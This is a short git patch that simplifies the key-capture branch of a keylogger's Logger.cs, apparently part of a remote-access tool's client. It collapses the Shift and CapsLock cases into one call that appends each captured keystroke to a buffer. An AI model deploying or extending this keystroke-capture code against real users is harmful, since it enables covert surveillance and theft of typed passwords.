From 68a1cda9b734cd9061b1f922493d3930494482a2 Mon Sep 17 00:00:00 2001 From: yankejustin Date: Mon, 4 May 2015 12:30:55 -0400 Subject: [PATCH] Removed unnecessary decisions Condensed a tree of decisions to just cut the unnecessary decisions out. --- Client/Core/Keylogger/Logger.cs | 17 +---------------- 1 file changed, 1 insertion(+), 16 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 13cda68f..5bb7ed9e 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -167,22 +167,7 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs if (_enumValues.Contains(i)) //If our enumValues list contains to current key pressed { - if (ShiftKey && CapsLock) //If the state of Shiftkey is down and Capslock is toggled on - { - _keyBuffer.Append(FromKeys(i, true, true)); - } - else if (ShiftKey) //If only the Shiftkey is pressed - { - _keyBuffer.Append(FromKeys(i, true, false)); - } - else if (CapsLock) //If only Capslock is toggled on - { - _keyBuffer.Append(FromKeys(i, false, true)); - } - else - { - _keyBuffer.Append(FromKeys(i, false, false)); - } + _keyBuffer.Append(FromKeys(i, ShiftKey, CapsLock)); return; }